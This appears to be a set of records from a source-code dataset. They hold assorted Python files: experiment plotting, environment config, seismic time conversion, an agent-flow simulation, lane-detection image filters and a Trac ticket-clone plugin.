4))\n    fig = plt.figure(figsize=(11, 4))\n\n    # plt.subplot(1, 3, 1)\n    plt.subplot(1, 2, 1)\n    plot_bar(om_avg, rm_avg, name, xlable, 'average read_max diff')\n\n    # plt.subplot(1, 3, 2)\n    plt.subplot(1, 2, 2)\n    plot_bar(om_count, rm_count, name, xlable,\n             'frequency of read_max being wrong')\n\n    # plt.subplot(1, 3, 3)\n    # plot_bar(oo_max, ro_max, name, xlable, 'average max overhead per element: bytes')\n\n    plt.tight_layout()\n    plt.savefig(\"{}.pdf\".format(pname))\n    plt.close(fig)\n\n    rtn = (oo_max, ro_max, name, xlable,\n           'average max overhead per element: bytes')\n    return rtn\n\n\ndef cmp_replica(rounds, low=0, high=0):\n    replicas = [3, 6, 9, 12, 15]\n    dirs = [\"replica/{}\".format(x) for x in range(rounds)]\n    exp_settings = [[r, 10000, 50, 10] for r in replicas]\n    return cmp_generic(replicas, dirs, exp_settings, replica_plot, low, high)\n\n\ndef replica_plot(om_avg, rm_avg, om_count, rm_count, oo_max, ro_max, name):\n    xlable = 'num of replicas'\n    pname = 'replica'\n\n    # fig = plt.figure(figsize=(16, 4))\n    fig = plt.figure(figsize=(11, 4))\n\n    # plt.subplot(1, 3, 1)\n    plt.subplot(1, 2, 1)\n    plot_bar(om_avg, rm_avg, name, xlable, 'average read_max diff')\n\n    # plt.subplot(1, 3, 2)\n    plt.subplot(1, 2, 2)\n    plot_bar(om_count, rm_count, name, xlable,\n             'frequency of read_max being wrong')\n\n    # plt.subplot(1, 3, 3)\n    # plot_bar(oo_max, ro_max, name, xlable, 'average max overhead per element: bytes')\n\n    plt.tight_layout()\n    plt.savefig(\"{}.pdf\".format(pname))\n    plt.close(fig)\n\n    rtn = (oo_max, ro_max, name, xlable,\n           'average max overhead per element: bytes')\n    return rtn\n\n\ndef cmp_speed(rounds, low=0, high=0):\n    speeds = [500 + x * 100 for x in range(96)]\n    dirs = [\"speed/{}\".format(x) for x in range(rounds)]\n    exp_settings = [[9, n, 50, 10] for n in speeds]\n    return cmp_generic(speeds, dirs, exp_settings, speed_plot, low, high)\n\n\ndef speed_plot(om_avg, rm_avg, om_count, rm_count, oo_max, ro_max, name):\n    xlable = 'op/second'\n    pname = 'op_speed'\n    s_name = [x for x in name]\n    for i in range(len(s_name)):\n        if (i - 500) % 10 != 0:\n            s_name[i] = ''\n\n    # fig = plt.figure(figsize=(16, 4))\n    fig = plt.figure(figsize=(11, 4))\n\n    # plt.subplot(1, 3, 1)\n    plt.subplot(1, 2, 1)\n    # plot_bar(om_avg, rm_avg, name, xlable, 'average read_max diff', s_name=s_name)\n    plot_line(om_avg, rm_avg, name, xlable, 'average read_max diff')\n\n    # plt.subplot(1, 3, 2)\n    plt.subplot(1, 2, 2)\n    # plot_bar(om_count, rm_count, name, xlable, 'frequency of read_max being wrong')\n    plot_line(om_count, rm_count, name, xlable,\n              'frequency of read_max being wrong')\n\n    # plt.subplot(1, 3, 3)\n    # plot_bar(oo_max, ro_max, name, xlable, 'average max overhead per element: bytes', s_name=s_name)\n\n    plt.tight_layout()\n    plt.savefig(\"{}.pdf\".format(pname))\n    plt.close(fig)\n\n    rtn = (oo_max, ro_max, name, xlable,\n           'average max overhead per element: bytes')\n    return rtn, s_name\n\n\ncmp_or(\"inc_d\", \"replica/0\")\ncmp_or(\"ar_d\", \"ardominant\")\nsp, sn = cmp_speed(30)\nrp = cmp_replica(30)\ndl = cmp_delay(30)\n\nfigure = plt.figure(figsize=(11, 4))\n\nplt.subplot(1, 2, 1)\nplot_bar(*sp, s_name=sn)\n\nplt.subplot(1, 2, 2)\nplot_bar(*dl)\n\nplt.tight_layout()\nplt.savefig(\"ovhd_sd.pdf\")\nplt.close(figure)\n\nfigure = plt.figure(figsize=(6, 4))\nplot_bar(*rp)\nplt.savefig(\"ovhd_r.pdf\")\nplt.close(figure)\n\nprint(\"Data skipped: \", data_skipped)\n","sub_path":"experiment/result/result.py","file_name":"result.py","file_ext":"py","file_size_in_byte":9892,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"162201978","text":"from __future__ import unicode_literals, print_function, division\nimport os\nimport platform\nfrom os import getenv\nfrom collections import namedtuple\nfrom .path import as_path\n\n\nVEIL_FRAMEWORK_HOME = getenv('VEIL_FRAMEWORK_HOME')\nVEIL_FRAMEWORK_HOME = as_path(VEIL_FRAMEWORK_HOME) if VEIL_FRAMEWORK_HOME else None\n\nVEIL_HOME = os.path.abspath(getenv('VEIL_HOME') or '.')\nassert VEIL_HOME, 'must specify $VEIL_HOME'\nVEIL_HOME = as_path(VEIL_HOME)\n\nVEIL_SERVER_NAME = getenv('VEIL_SERVER_NAME') or 'development'\nif '/' in VEIL_SERVER_NAME:\n    VEIL_ENV_NAME, VEIL_SERVER_NAME = VEIL_SERVER_NAME.rsplit('/', 1)\nelse:\n    VEIL_ENV_NAME, VEIL_SERVER_NAME = VEIL_SERVER_NAME, '@'\nVEIL_ENV_BASE_NAME = VEIL_ENV_NAME.rsplit('--', 1)[0]\nVEIL_ENV_TYPE = VEIL_ENV_BASE_NAME.rsplit('-', 1)[-1]  # development, test, staging, public (i.e. production)\n\nCURRENT_OS = namedtuple('VeilOS', 'distname, version, codename')(*platform.linux_distribution())\nassert CURRENT_OS.distname == 'Ubuntu' and CURRENT_OS.codename in ('trusty',)\n","sub_path":"src/veil_component/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":1013,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"634730592","text":"from obspy import read\nimport pandas as pd\nimport json\nimport datetime\nimport time\nimport numpy as np\n\n\n\npath = './Deci5.Pick.19991015130000.CI.CDY.EHZ.sac'\nst = read(path)\nprint(st)\nprint(st[0].stats)\nprint(st[0].data)\nprint(st[0].stats.starttime)\nprint(st[0].stats.delta)\ndelta = st[0].stats.delta * 1496101\nprint(st[0].stats.starttime + delta)\nprint(st[0].stats.endtime)\nimport matplotlib.pyplot as plt\n\n'''\n开始时间以每个点0.05秒增加，即20hz\n时间格式是1999-10-16T09:46:43.997000Z\n下面以2017-10-13T00:00:00.000000Z为开始时间，1000hz频率转化时间戳\n'''\npath2 = './jsonfile.json'\nf = open(path2,'r')\ndict_json = json.load(f)\nprint(dict_json)\n\ncegun_path = dict_json['cegun'][0]\nprint(cegun_path)\n\ndf = pd.read_csv(cegun_path,header=None)\nprint(df)\nprint(df[1])\ntime_col = df[1]\n# df.plot(x=1,y=2)\n# plt.show()\n\n# unix时间以秒为单位\n# a = 1507824000.0\n# temp_time = time.localtime(a)\n# struct_time = time.strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\", temp_time)\n# print(struct_time)\n\n# 计算差值\n# dif_time = a - 7427.692\n# print(7427.692+dif_time)\n# print(7427.693+dif_time)\n# temp_time = time.localtime(7427.693+dif_time)\n# struct_time = temp_time\n# print(struct_time)\n\n# print(str(st[0].stats.starttime))\n# starttime = datetime.datetime.strptime(str(st[0].stats.starttime), '%Y-%m-%dT%H:%M:%S.%fZ')\n# print(starttime)\n\n# a_datetime = datetime.datetime.strptime(\"2016-11-15, 15:32:12, 2\", \"%Y-%m-%d, %H:%M:%S, %w\")\n# print(a_datetime)\n# a_datetime_local = datetime.datetime.now()  # 获取datetime.datetime类型的本地时间\n# print(a_datetime_local)\n# a_datetime_utc = datetime.datetime.utcnow()  # 获取datetime.datetime类型的utc时间\n# print(a_datetime_utc)\n#\n# time_stamp = a_datetime_local.timestamp()  # datetime类型转时间戳\n# print(time_stamp)\n#\n# a = 1507824000\n# utc_time = datetime.datetime.fromtimestamp(a)\n# print(utc_time)\n# aa = datetime.timedelta(seconds=3600*8)\n# print(utc_time+aa)\n# utc_time = utc_time+aa\n# time_stamp = utc_time.timestamp()\n# print(time_stamp)\n\n# a = 1507824000\n# s = float(time_col[0])\n# dif = a-s\n# new_df = time_col+dif\n# print(new_df)\n# dif = round(a - s,4)\n# print(time_col[0])\n# print(dif)\n# num = 7427.693\n# print(num)\n# nums = 7427.693 + 1507816572.308\n# print(nums)\n# # new_df = (time_col+dif)\n# # print(new_df[2])\n# print(datetime.datetime.utcfromtimestamp(nums))\nprint(df[1])\ns = 1507824000000\ndata_list = []\nfor i in range(len(time_col)):\n    ss = datetime.datetime.utcfromtimestamp(s/1000)\n    sss = ss.strftime(\"%Y-%m-%dT%H:%M:%S.%fZ\")\n    data_list.append(sss)\n    s+=1\n    i+=1\nprint(len(data_list))\n# print(data_list[0])\nnp_data_list = np.array(data_list)\ndf[1] = np_data_list\nprint(df)\nout_path = './cegun2017_10_12.csv'\ndf.to_csv(out_path,header=0)\n","sub_path":"motify_time.py","file_name":"motify_time.py","file_ext":"py","file_size_in_byte":2751,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"7581844","text":"\n\nfrom xai.brain.wordbase.nouns._fiftieth import _FIFTIETH\n\n#calss header\nclass _FIFTIETHS(_FIFTIETH, ):\n\tdef __init__(self,): \n\t\t_FIFTIETH.__init__(self)\n\t\tself.name = \"FIFTIETHS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"fiftieth\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_fiftieths.py","file_name":"_fiftieths.py","file_ext":"py","file_size_in_byte":252,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"353648375","text":"#!/usr/bin/env python3\n\nfrom math import *\nfrom numpy.random import normal\nimport random\nimport statistics\n\nclass Agent():\n    def __init__(self, idnum, score, neighbours):\n        self.idnum = idnum\n        self.score = score\n        self.pre_flow = 0.5\n        self.post_flow = 0\n        self.neighbours = neighbours\n        self.flow_log = {i:0 for i in self.neighbours}\n\n    def add_flow(self, source, flow):\n        self.post_flow += flow\n        self.flow_log[source] = flow\n\n    def add_random_flow(self, flow):\n        self.post_flow += flow\n\n    def adjust_score(self):\n        self.score += self.pre_flow\n        self.pre_flow = 0\n\n    def next_turn(self):\n        self.pre_flow = self.post_flow\n        self.post_flow = 0\n\n    def clear_flow_log(self):\n        self.flow_log = {i:0 for i in self.neighbours}\n\n\ndef send_flow_out(source_id, agent_list, adjacency_matrix):\n    flow_to_send = agent_list[source_id].pre_flow\n    total_outflow = sum(adjacency_matrix[source_id])\n    for idnum, agent in enumerate(agent_list):\n        if idnum != source_id:\n            corrected_flow = flow_to_send - agent_list[source_id].flow_log[idnum]\n            if flow_to_send >= 0:\n                adjusted_flow = corrected_flow * adjacency_matrix[source_id][idnum]**3 / total_outflow\n            else:\n                adjusted_flow = 1 * corrected_flow * adjacency_matrix[source_id][idnum]**3 / total_outflow\n            agent.add_flow(source_id, adjusted_flow)\n\n\ndef adjust_weight(node_id, agent_list, adjacency_matrix):\n    for neighbour_node, _ in enumerate(agent_list):\n        if node_id != neighbour_node:\n            path_weight = adjacency_matrix[node_id][neighbour_node]\n            multiplier = exp(agent_list[node_id].flow_log[neighbour_node])\n            new_path_weight = path_weight * multiplier\n            adjacency_matrix[node_id][neighbour_node] = new_path_weight\n            adjacency_matrix[neighbour_node][node_id] = new_path_weight\n\n\n# def adjust_weight(node_id, agent_list, adjacency_matrix):\n    # for neighbour_node, _ in enumerate(agent_list):\n        # if node_id != neighbour_node:\n            # path_weight = adjacency_matrix[node_id][neighbour_node]\n            # multiplier = exp(agent_list[node_id].flow_log[neighbour_node])\n            # if multiplier <= 1:\n                # new_path_weight = path_weight * multiplier\n            # else:\n                # new_path_weight = 1 - (1 - path_weight) / multiplier\n            # adjacency_matrix[node_id][neighbour_node] = new_path_weight\n            # adjacency_matrix[neighbour_node][node_id] = new_path_weight\n\n\ndef normalize_weights(adjacency_matrix, upper_bound, lower_bound):\n    for rownum, row in enumerate(adjacency_matrix):\n        for column, elem in enumerate(row):\n            if rownum != column:\n                adjacency_matrix[rownum][column] += lower_bound\n\n    max_path_weight = max(max(row) for row in adjacency_matrix)\n    if max_path_weight >= 1:\n        multiplier = upper_bound / max_path_weight\n        for rownum, row in enumerate(adjacency_matrix):\n            for column, elem in enumerate(row):\n                adjacency_matrix[rownum][column] *= multiplier\n\ndef simulate_turn(agent_list, adjacency_matrix):\n    size = len(adjacency_matrix)\n\n    for source_id, _ in enumerate(agent_list):\n        send_flow_out(source_id, agent_list, adjacency_matrix)\n\n    if random.random() <= -0.1:\n        for i in range(size//3 + 1):\n            lucky_agent = random.choice(agent_list)\n            lucky_agent.add_random_flow(normal(0, 4))\n\n    if random.random() <= 0.1:\n        lucky_agent = random.choice(agent_list)\n        lucky_agent.add_random_flow(1)\n\n    if random.random() <= 0.01:\n        for i in range(1):\n            lucky_agent = random.choice(agent_list)\n            lucky_agent.add_random_flow(-10)\n\n    for node_id,_ in enumerate(agent_list):\n        adjust_weight(node_id, agent_list, adjacency_matrix)\n\n    normalize_weights(adjacency_matrix, 0.9, 0)\n\n    for agent in agent_list:\n        agent.adjust_score()\n        agent.next_turn()\n        agent.clear_flow_log()\n\n\ndef create_agent_list(size):\n    agent_list = []\n    for i in range(size):\n        neighbours = [j for j in range(size) if j != i]\n        agent_list.append(Agent(i, 0, neighbours))\n    return agent_list\n\ndef get_average_score(agent_list):\n    return statistics.mean(agent.score for agent in agent_list)\n\ndef create_adjacency_matrix(size, default_weight = 0.5):\n    adjacency_matrix = []\n    for i in range(size):\n        row = []\n        for j in range(size):\n            if i == j:\n                row.append(0)\n            else:\n                row.append(default_weight)\n        adjacency_matrix.append(row)\n    return adjacency_matrix\n\ndef get_connection_strength(adjacency_matrix):\n    size = len(adjacency_matrix)\n    strength = []\n    for i in range(size - 1):\n        for j in range(i+1, size):\n            strength.append(adjacency_matrix[i][j])\n    return sorted(strength)\n","sub_path":"Archives/semester-4/Biology/EC201/assignments/paper-presentation/code/model1/weighted_agent.py","file_name":"weighted_agent.py","file_ext":"py","file_size_in_byte":4965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"606185091","text":"import numpy as np\nimport cv2\nimport glob\nimport pickle\n\ndef calibrate(cal_path, size=(9,6)):\n    # prepare object points, like (0,0,0), (1,0,0), (2,0,0) ....,(6,5,0)\n    objp = np.zeros((size[0]*size[1],3), np.float32)\n    objp[:,:2] = np.mgrid[0:size[0], 0:size[1]].T.reshape(-1,2)\n\n    # Arrays to store object points and image points from all the images.\n    objpoints = [] # 3d points in real world space\n    imgpoints = [] # 2d points in image plane.\n\n    # Make a list of calibration images\n    images = glob.glob(cal_path)\n\n    # Step through the list and search for chessboard corners\n    for idx, fname in enumerate(images):\n        img = cv2.imread(fname)\n        gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n        # Find the chessboard corners\n        ret, corners = cv2.findChessboardCorners(gray, size, None)\n\n        # If found, add object points, image points\n        if ret == True:\n            objpoints.append(objp)\n            imgpoints.append(corners)\n\n            # Draw and display the corners\n            cv2.drawChessboardCorners(img, size, corners, ret)\n            write_name = 'output_images/camera_cal/corners_found_'+str(idx)+'.jpg'\n            cv2.imwrite(write_name, img)\n\n    # Test undistortion on an image\n    img = cv2.imread(images[0])\n    gray = cv2.cvtColor(img, cv2.COLOR_BGR2GRAY)\n\n    # Do camera calibration given object points and image points\n    ret, mtx, dist, rvecs, tvecs = cv2.calibrateCamera(objpoints, imgpoints, gray.shape[::-1],None,None)\n\n\n    dst = cv2.undistort(img, mtx, dist, None, mtx)\n    cv2.imwrite('output_images/camera_cal/test_undist.jpg',dst)\n\n    # Save the camera calibration result for later use (we won't worry about rvecs / tvecs)\n    dist_pickle = {}\n    dist_pickle[\"mtx\"] = mtx\n    dist_pickle[\"dist\"] = dist\n    pickle.dump( dist_pickle, open( \"output_images/camera_cal/wide_dist_pickle.p\", \"wb\" ) )\n    \n    return mtx, dist\n\ndef load_camera_cal():\n    dist_pickle = pickle.load( open( \"output_images/camera_cal/wide_dist_pickle.p\", \"rb\" ) )\n    mtx = dist_pickle[\"mtx\"]\n    dist = dist_pickle[\"dist\"]\n    return mtx, dist\n\ndef cal_undistort(img, mtx, dist):\n    undist = cv2.undistort(img, mtx, dist, None, mtx)\n    return undist\n\n#handcrafted road points for perspective projection matrix calculation\nsrc = np.float32 ([\n        [220, 651],\n        [350, 577],\n        [828, 577],\n        [921, 651]\n    ])\n\ndst = np.float32 ([\n        [220, 651],\n        [220, 577],\n        [921, 577],\n        [921, 651]\n    ])\n\n#h = 1280 #exampleImg_undistort.shape[:2]\n#w = 720\n\n# define source and destination points for transform\n#src = np.float32([(575,464),\n#                  (707,464), \n#                  (258,682), \n#                  (1049,682)])\n#dst = np.float32([(450,0),\n#                  (w-450,0),\n#                  (450,h),\n#                  (w-450,h)])\n\n# calculating front view -> top view projection matrix\nM_perspective_720 = cv2.getPerspectiveTransform (src, dst)\n# calculating top -> front view matrix\nM_perspective_inv_720 = cv2.getPerspectiveTransform (dst, src)\n\ndef corners_unwarp(img, nx, ny, mtx, dist):\n    img_size = (img.shape [1], img.shape [0])\n    # e) use cv2.warpPerspective() to warp your image to a top-down view\n    warped = cv2.warpPerspective(img, M_perspective_720, img_size, flags=cv2.INTER_LINEAR)\n     \n    return warped, M_perspective_inv_720\n\ndef morphology_filter (image, s_thresh=(-.1, -.035)):\n    \"\"\"Filtering lane lines with \"opening\" morphology operation\n    \n        1. Taking linear combination of\n            HLS S layer * 0.6 + Grayscaled image * 0.4\n    \n        2. Applying opening, as a result we have image with erased lane lines \n        \n        3. Subtracting image without lane lines from original image and\n            returning lane lines\n    \n    Args:\n        image (np.array): color image in BGR format\n    Returns:\n        np.array: graysacle image with filtered lane lines along with some another parts of the image\n    \"\"\"\n    \n    gray = cv2.cvtColor (image, cv2.COLOR_BGR2GRAY)\n    hls = cv2.cvtColor(image, cv2.COLOR_RGB2HLS)\n    #H = hls[:,:,0]\n    #L = hls[:,:,1]\n    hls_s = hls[:,:,2]\n    #hls_s = get_s_from_hls (image)\n    src = hls_s * 0.6 + gray * 0.4\n\n    src = np.array( src / 255.).astype ('float32') - 0.5\n\n    blurf = np.zeros((1, 5))\n    blurf.fill (1)\n    src = cv2.filter2D(src, cv2.CV_32F, blurf)\n\n    f = np.zeros((1, 30))\n    f.fill (1)\n    l = cv2.morphologyEx(src, cv2.MORPH_OPEN, f)\n\n    filtered = src - l\n    #kernel = np.ones((5,5),np.float32)/25\n    #dst = cv2.filter2D(filtered,-1,kernel)\n    filtered = cv2.medianBlur(filtered,5)\n    #print(filtered)\n    # Threshold color channel\n    f_binary = np.zeros_like(filtered)\n    f_binary[(filtered >= s_thresh[0]) & (filtered <= s_thresh[1])] = 1\n    \n    return f_binary\n\n# Define a function that applies Sobel x or y, \n# then takes an absolute value and applies a threshold.\n# Note: calling your function with orient='x', thresh_min=5, thresh_max=100\n# should produce output like the example image shown above this quiz.\ndef abs_sobel_thresh(img, orient='x', sobel_kernel=3, thresh=(0, 255), space = 'gray', ch=0):\n    # Convert to grayscale\n    gray = img\n    if space == 'gray':\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    elif space == 'hls':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    elif space == 'hsv':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    elif space == 'yuv':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    else:\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n        \n    # Apply x or y gradient with the OpenCV Sobel() function\n    # and take the absolute value\n    if orient == 'x':\n        abs_sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel))\n    if orient == 'y':\n        abs_sobel = np.absolute(cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel))\n    # Rescale back to 8 bit integer\n    scaled_sobel = np.uint8(255*abs_sobel/np.max(abs_sobel))\n    # Create a copy and apply the threshold\n    binary_output = np.zeros_like(scaled_sobel)\n    # Here I'm using inclusive (>=, <=) thresholds, but exclusive is ok too\n    binary_output[(scaled_sobel >= thresh[0]) & (scaled_sobel <= thresh[1])] = 1\n\n    # Return the result\n    return binary_output\n\n# Define a function that applies Sobel x and y, \n# then computes the magnitude of the gradient\n# and applies a threshold\ndef mag_thresh(img, sobel_kernel=3, mag_thresh=(0, 255), space = 'gray', ch=1):\n    # Convert to grayscale\n    gray = img\n    if space == 'gray':\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    elif space == 'hls':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    elif space == 'hsv':\n        hsv = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hsv[:,:,ch]\n    elif space == 'yuv':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    else:\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Take both Sobel x and y gradients\n    sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n    sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n    # Calculate the gradient magnitude\n    gradmag = np.sqrt(sobelx**2 + sobely**2)\n    # Rescale to 8 bit\n    scale_factor = np.max(gradmag)/255 \n    gradmag = (gradmag/scale_factor).astype(np.uint8) \n    # Create a binary image of ones where threshold is met, zeros otherwise\n    binary_output = np.zeros_like(gradmag)\n    binary_output[(gradmag >= mag_thresh[0]) & (gradmag <= mag_thresh[1])] = 1\n\n    # Return the binary image\n    return binary_output\n\n# Define a function that applies Sobel x and y, \n# then computes the direction of the gradient\n# and applies a threshold.\n# Define a function to threshold an image for a given range and Sobel kernel\ndef dir_threshold(img, sobel_kernel=3, thresh=(0, np.pi/2), space = 'gray', ch=1):\n    # Convert to grayscale\n    gray = img\n    if space == 'gray':\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    elif space == 'hls':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2HLS)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    elif space == 'hsv':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2HSV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    elif space == 'yuv':\n        hls = cv2.cvtColor(img, cv2.COLOR_RGB2YUV)\n        #H = hls[:,:,0]\n        #L = hls[:,:,1]\n        gray = hls[:,:,ch]\n    else:\n        gray = cv2.cvtColor(img, cv2.COLOR_RGB2GRAY)\n    # Calculate the x and y gradients\n    sobelx = cv2.Sobel(gray, cv2.CV_64F, 1, 0, ksize=sobel_kernel)\n    sobely = cv2.Sobel(gray, cv2.CV_64F, 0, 1, ksize=sobel_kernel)\n    # Take the absolute value of the gradient direction, \n    # apply a threshold, and create a binary image result\n    absgraddir = np.arctan2(np.absolute(sobely), np.absolute(sobelx))\n    binary_output =  np.zeros_like(absgraddir)\n    binary_output[(absgraddir >= thresh[0]) & (absgraddir <= thresh[1])] = 1\n\n    # Return the binary image\n    return binary_output\n\n# Edit this function to create your own pipeline.\ndef pipeline(img, s_thresh=(140, 255), sx_thresh=(30, 100)):\n    img = np.copy(img)\n    # Choose a Sobel kernel size\n    ksize = 15 # Choose a larger odd number to smooth gradient measurements\n\n    # Apply each of the thresholding functions\n    gradx = abs_sobel_thresh(img, orient='x', sobel_kernel=ksize, thresh=sx_thresh, space = 'yuv', ch=0)\n    grady = abs_sobel_thresh(img, orient='y', sobel_kernel=ksize, thresh=sx_thresh, space = 'yuv', ch=0)\n    mag_binary = mag_thresh(img, sobel_kernel=ksize, mag_thresh=sx_thresh, space = 'yuv', ch=0)\n    dir_binary = dir_threshold(img, sobel_kernel=ksize, thresh=(.7, 1.3), space = 'yuv', ch=0)\n\n    combined = np.zeros_like(dir_binary)\n    #combined[((gradx == 1) & (grady == 1)) | ((mag_binary == 1) & (dir_binary == 1))] = 1\n    combined[((gradx == 1) & (grady == 1) & (dir_binary == 1))] = 1\n    #scaled_combined = np.uint8(255*combined/np.max(combined))\n    \n    # Convert to HSV color space and separate the V channel\n    hsv = cv2.cvtColor(img, cv2.COLOR_RGB2YUV).astype(np.float)\n    #l_channel = hsv[:,:,1]\n    s_channel = hsv[:,:,1]\n    # Sobel x\n    #sobelx = cv2.Sobel(l_channel, cv2.CV_64F, 1, 0) # Take the derivative in x\n    #abs_sobelx = np.absolute(sobelx) # Absolute x derivative to accentuate lines away from horizontal\n    #scaled_sobel = np.uint8(255*abs_sobelx/np.max(abs_sobelx))\n    \n    # Threshold x gradient\n    #sxbinary = np.zeros_like(scaled_sobel)\n    #sxbinary[(scaled_sobel >= sx_thresh[0]) & (scaled_sobel <= sx_thresh[1])] = 1\n    \n    # Threshold color channel\n    s_binary = np.zeros_like(s_channel)\n    s_binary[(s_channel >= s_thresh[0]) & (s_channel <= s_thresh[1])] = 1\n    # Stack each channel\n    # Note color_binary[:, :, 0] is all 0s, effectively an all black image. It might\n    # be beneficial to replace this channel with something else.\n    color_binary = np.dstack(( np.zeros_like(combined), combined, s_binary))\n    \n    d_binary = np.zeros_like(combined)\n    d_binary[(s_binary == 1) | (combined == 1)] = 1\n    \n    return d_binary, color_binary\n    \n\n\n\n\n\n\n\n","sub_path":"stage1_util.py","file_name":"stage1_util.py","file_ext":"py","file_size_in_byte":11524,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
+{"seq_id":"187250759","text":"from trac.core import *\r\nfrom trac.web.api import ITemplateStreamFilter\r\n\r\nfrom genshi.builder import tag\r\nfrom genshi.filters import Transformer\r\nfrom trac.util.translation import domain_functions\r\nfrom trac.config import Option\r\nimport pkg_resources\r\n\r\n_, tag_, N_, add_domain = domain_functions('ticketnav', '_', 'tag_', 'N_', 'add_domain')\r\n\r\nclass SimpleTicketCloneButton(Component):\r\n    \"\"\"Add a 'Clone' button to the ticket box. \r\n\r\n~~This button is located next to the 'Reply' to description button,\r\nand~~ pressing it will send a request for creating a new ticket\r\nwhich will be based on the cloned one.\r\n\r\nCopied from both `trac-0.12.2/sample-plugins/ticket_clone.py` \r\nand from `TRAC/tracopt/ticket/clone.py`. Adjusted position \r\nof Clone-Button and translated text. \r\n\"\"\"\r\n       \r\n    implements(ITemplateStreamFilter)\r\n\r\n    # ITemplateStreamFilter methods\r\n    xpathToPosition = Option('trac', 'clone_xpath', '//h1[@id=\"trac-ticket-title\"]', \r\n                             \"\"\"xpath to postion of clone button\"\"\")\r\n\r\n    def __init__(self):\r\n            # bind the 'tracnav' catalog to the locale directory \r\n            locale_dir = pkg_resources.resource_filename(__name__, 'locale') \r\n            add_domain(self.env.path, locale_dir)\r\n        \r\n    def filter_stream(self, req, method, filename, stream, data):\r\n        if filename == 'ticket.html':\r\n            ticket = data.get('ticket')\r\n            if ticket and ticket.exists and \\\r\n                    'TICKET_CREATE' in req.perm(ticket.resource):\r\n#                filter = Transformer('//h3[@id=\"comment:description\"]')\r\n                filter = Transformer( self.config.get('trac', 'clone_xpath') )\r\n                return stream | filter.after(self._clone_form(req, ticket, data))\r\n        return stream\r\n\r\n    def _clone_form(self, req, ticket, data):\r\n        fields = {}\r\n        for f in data.get('fields', []):\r\n            name = f['name']\r\n            if name == 'summary':\r\n#                fields['summary'] = \"%(summary)s (geklont von %s)\" % (ticket['summary'], ticket.id)\r\n                fields['summary'] = _(\"%(summary)s (cloned from %(id)s)\",\r\n                                  summary=ticket['summary'], id=ticket.id)\r\n            elif name == 'description':\r\n                fields['description'] = \\\r\n                    _(\"Cloned from #%(id)s:\\n----\\n%(description)s\",\r\n                      id=ticket.id, description=ticket['description'])\r\n            else:\r\n                fields[name] = ticket[name]\r\n        return tag.form(\r\n            tag.div(\r\n                tag.input(type=\"submit\", name=\"clone\", value=_('Clone'),\r\n                    title=_('Create a copy of this ticket')),\r\n                [tag.input(type=\"hidden\", name='field_'+n, value=v) for n, v in\r\n                    fields.items()],\r\n                tag.input(type=\"hidden\", name='preview', value=''),\r\n                class_=\"inlinebuttons\"),\r\n            method=\"post\", action=req.href.newticket())","sub_path":"ticketnavplugin/0.12/ticketnav/ticket_clone.py","file_name":"ticket_clone.py","file_ext":"py","file_size_in_byte":2975,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"}
